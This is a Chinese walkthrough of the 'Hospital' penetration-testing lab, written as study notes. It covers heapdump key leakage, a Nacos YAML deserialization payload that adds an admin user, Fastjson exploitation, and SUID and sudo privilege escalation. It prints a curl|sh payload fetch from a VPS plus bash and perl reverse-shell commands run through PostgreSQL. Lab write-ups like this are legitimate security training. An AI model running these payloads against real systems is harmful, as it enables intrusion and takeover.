Hospital

涉及的知识点

heapdump泄露利用
vim.basic的suid提权
nacos弱密码+yaml反序列化漏洞
fastjson
ssh写公钥上线
grafana任意文件读取
PostgreSQL修改密码+反弹shell
psql的sudo提权

前言

前期打靶场的目的主要还是熟悉常规渗透操作,例如上线、内网代理转发、提权等等,因此主要是基于各师傅wp的以学习为主的打靶

flag1

首先fscan扫出heapdump泄露

fscan.exe -h 39.99.144.167 -pn 22(因为怕ssh爆破太长时间,提前让其不检测22端口)
start infoscan
39.99.144.167:8080 open
[*] alive ports len is: 1
start vulscan
[*] WebTitle http://39.99.144.167:8080 code:302 len:0      title:None 跳转url: http://39.99.144.167:8080/login;jsessionid=221B387F127E46C687F6FB9853161DF3
[*] WebTitle http://39.99.144.167:8080/login;jsessionid=221B387F127E46C687F6FB9853161DF3 code:200 len:2005   title:医疗
管理后台
[+] PocScan http://39.99.144.167:8080 poc-yaml-spring-actuator-heapdump-file
已完成 1/1
[*] 扫描结束,耗时: 31.2868404s

发现shirokey与加密方式

java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump

===========================================
CookieRememberMeManager(ShiroKey)
-------------
algMode = CBC, key = GAYysgMQhG7/CzIJlVpR2g==, algName = AES

===========================================

注入冰蝎内存马

cqyj_hospital1

查看内网网段为172.30.12.5

cqyj_hospital2

由于Vshell启在本地,靶机无法直接访问本地地址,使用正向代理连接

cqyj_hospital3
cqyj_hospital4
cqyj_hospital5

非root用户,尝试suid提权

find / -user root -perm -4000 -exec ls -ldb {} \;

cqyj_hospital6

本地GTFOBins找vim.md

  suid:
    - description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3.
      code: ./vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

测试靶机环境有python3,将vim提权命令的py换成python3,也可以将sh换成bash的shell

/usr/bin/vim.basic -c ':python3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
/usr/bin/vim.basic -c ':python3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec bash -p")'

cqyj_hospital7

flag2

继续在入口机上传fscan扫描内网c段

./fscan -h 172.30.12.1/24 -o res.txt

start infoscan
(icmp) Target 172.30.12.5     is alive
(icmp) Target 172.30.12.6     is alive
(icmp) Target 172.30.12.236   is alive
[*] Icmp alive hosts len is: 3
172.30.12.6:445 open
172.30.12.6:139 open
172.30.12.6:135 open
172.30.12.236:22 open
172.30.12.236:8080 open
172.30.12.6:8848 open
172.30.12.5:8080 open
172.30.12.5:10001 open
172.30.12.5:22 open
172.30.12.236:8009 open
[*] alive ports len is: 10
start vulscan
[*] NetInfo 
[*]172.30.12.6
   [->]Server02
   [->]172.30.12.6
[*] WebTitle http://172.30.12.5:8080   code:302 len:0      title:None 跳转url: http://172.30.12.5:8080/login;jsessionid=3EF3613C1D444262523601F458D9DA34
[*] NetBios 172.30.12.6     WORKGROUP\SERVER02            
[*] WebTitle http://172.30.12.5:8080/login;jsessionid=3EF3613C1D444262523601F458D9DA34 code:200 len:2005   title:医疗管理后台
[*] WebTitle http://172.30.12.236:8080 code:200 len:3964   title:医院后台管理平台
[*] WebTitle http://172.30.12.6:8848   code:404 len:431    title:HTTP Status 404 – Not Found
[+] PocScan http://172.30.12.6:8848 poc-yaml-alibaba-nacos 
[+] PocScan http://172.30.12.5:8080 poc-yaml-spring-actuator-heapdump-file 
[+] PocScan http://172.30.12.6:8848 poc-yaml-alibaba-nacos-v1-auth-bypass

发现另外两台机器,172.30.12.6和172.30.12.236,分别称为web2和web3,入口机为web1

首先在web1建socks隧道,但是vshell一键搭建的socks通道无法使用,猜测是权限或者是正向代理的问题,暂未深究

cqyj_hospital8

改为gost代理

cqyj_hospital9

接着根据fscan结果,在web2发现nacos服务,可以未授权新建账户,也可以nacos/nacos默认密码登录

使用工具探测到可能存在yaml或hessian反序列化漏洞

cqyj_hospital10

nacos登录看到Data Id为db-config

cqyj_hospital11

db-config可以看到开放了mysql和redis服务,但是fscan没扫到,应该是只能本地访问

server:
  port: 8080
  servlet:
    context-path: /hello

spring:
  application:
    name: db-config
  cloud:
    nacos:
      discovery:
        server-addr: 127.0.0.1:8848
      config:
        server-addr: 127.0.0.1:8848
        file-extension: yaml
        namespace: dev
        group: DEFAULT_GROUP
        data-id: db-config.yaml
  datasource:
    mysql:
      url: jdbc:mysql://localhost:3306/test?useSSL=false&serverTimezone=UTC&allowPublicKeyRetrieval=true
      username: root
      password: P@ssWord!!!
  redis:
    host: localhost
    port: 6379

management:
  endpoints:
    web:
      exposure:
        include: '*'

先打yaml反序列化,因为根据fscan结果,web2开放了445、139端口,因此为windows机器(存疑:没扫到3389开放为什么会直接新建管理员用户)

public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("net user simho qwe@123 /add");
            Runtime.getRuntime().exec("net localgroup administrators simho /add");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

Jar包路径需要web2机器可以直接访问,因此先传到web1机器,然后用python3开一个http服务

cqyj_hospital12

接着本机使用proxifier开启全局代理,然后rdp连上web2机器,拿到flag2

cqyj_hospital13

flag3

发现web2只有一个网口

cqyj_hospital14

接着去看web3,发现fastjson服务

cqyj_hospital15

通过在bp上传工具插件,一键发包利用

cqyj_hospital16

拿到flag3

cqyj_hospital17

一刷暂告一段落,目前还要获取web3机器的shell,后面只尝试了上传gost和正向马,但是应该得拿到交互shell才能运行

wget -P /tmp/ http://172.30.12.5:8989/tcp_10002

cqyj_hospital18

getshell方式想的是,1、继续尝试使用正向马;2、写入ssh公钥

Hospital(二刷)

主要任务:1、验证gost多级代理;2、尝试多种方法获取web3权限;3、拿到flag4

这次直接在vps开vshell,在入口机(即web1)直接通过一句话命令反向代理上线

(curl -fsSL -m180 http://vps.89.236:8084/slt||wget -T180 -q http://vps:8084/slt)|sh

然后直接来到web3,一刷的时候停留在fastjson命令执行getshell,这次使用插件的inject直接注入哥斯拉内存马,能够成功连接

cqyj_hospital19

cqyj_hospital20

由于不是交互shell,想在vshell上线,但是尝试使用正向代理马失败,不能在哥斯拉让其挂后台运行

因此尝试写入公钥,首先本地用ssh-keygen生成公钥和私钥,将公钥后的用户名@主机名部分删掉,接着尝试在哥斯拉使用echo直接将公钥写到authorized_keys,但是应该是由于长度过长导致命令执行失败,所以最后还是通过在web1上传公钥并开启http服务,在哥斯拉通过wget下载,之后写入到authorized_keys

cqyj_hospital21

然后挂上web1的代理,通过密钥连接即可ssh登录,并且是root权限

cqyj_hospital22

flag4

发现双网口

cqyj_hospital23

上fscan扫

./fscan -h 172.30.54.1/24 -o res.txt

start infoscan
(icmp) Target 172.30.54.179   is alive
(icmp) Target 172.30.54.12    is alive
[*] Icmp alive hosts len is: 2
172.30.54.179:22 open
172.30.54.179:8009 open
172.30.54.179:8080 open
172.30.54.12:5432 open
172.30.54.12:22 open
172.30.54.12:3000 open
[*] alive ports len is: 6
start vulscan
[*] WebTitle http://172.30.54.12:3000  code:302 len:29     title:None 跳转url: http://172.30.54.12:3000/login
[*] WebTitle http://172.30.54.179:8080 code:200 len:3964   title:医院后台管理平台
[*] WebTitle http://172.30.54.12:3000/login code:200 len:27909  title:Grafana

发现172.30.54.12机器,称其为web4,上面有grafana服务

通过工具扫描,但是根据其他师傅博客,需要v1.1的版本才能扫到postgres数据库账密,github上已经没有该版本了,但是通过CVE-2021-43798来读取grafana配置文件或者数据库文件应该也能得到,暂未深究(沙砾太贵),直接先拿来用了

./linux_amd64_grafanaExp exp -u http://172.30.54.12:3000

cqyj_hospital24

[SW2YcwTIb9zpOOhoPsMm]
postgres / Postgres@123

接着就是连接数据库,涉及到多级代理,尝试了gost配合-F搭建多级但是没成功;最后在web1和web3分别用gost搭建socks代理,然后在proxifier添加代理链将这俩一并放入(之后会尝试学习使用chisel和Stowaway搭建多级代理)

cqyj_hospital25

经过测试,本机上可以直接通过http://172.30.54.12:3000/login访问到grafana服务,接着用navicat连接Postgre数据库

cqyj_hospital26

接着就是看其他师傅对PostgreSQL的利用

# 修改root用户密码
ALTER USER root WITH PASSWORD '123456';
# 查看数据库版本
select version();
# PostgreSQL 8.1 及之前版本执行系统命令可以直接使用 Linux 中的 libc.so.6 文件,创建命令执行函数
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
# 使用system函数执行命令(创建函数成功后,执行命令时当返回值为 0 表示执行成功,其它值则是执行失败)
select system('curl 172.30.54.179');
select system('sh -i >& /dev/tcp/172.30.54.179/4444 0>&1');
select system('perl -e \'use Socket;$i="172.30.54.179";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'');

ps:系统上 libc.so.6 文件的路径只能靠试(位置不对创建函数时会报错的),一般为如下几个位置

/lib/x86_64-linux-gnu/libc.so.6
/lib/libc.so.6
/lib64/libc.so.6
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib32/libc.so.6

用perl命令反弹shell

cqyj_hospital27

sudo -l发现可以psql提权

cqyj_hospital28

在本地GTFOBins搜索pssql.md

  sudo:
    - code: |
        psql
        \?
        !/bin/sh

首先生成交互shell

python3 -c "import pty;pty.spawn('/bin/bash')"

然后执行

sudo /usr/local/postgresql/bin/psql
password:123456 # 前面已经修改为123456

接着根据sudo提权方式输入\?!/bin/bash

root=# \?
Input/Output
!/bin/bash

最后得到web4机器的root权限,获得最后一个flag

cqyj_hospital29

发表回复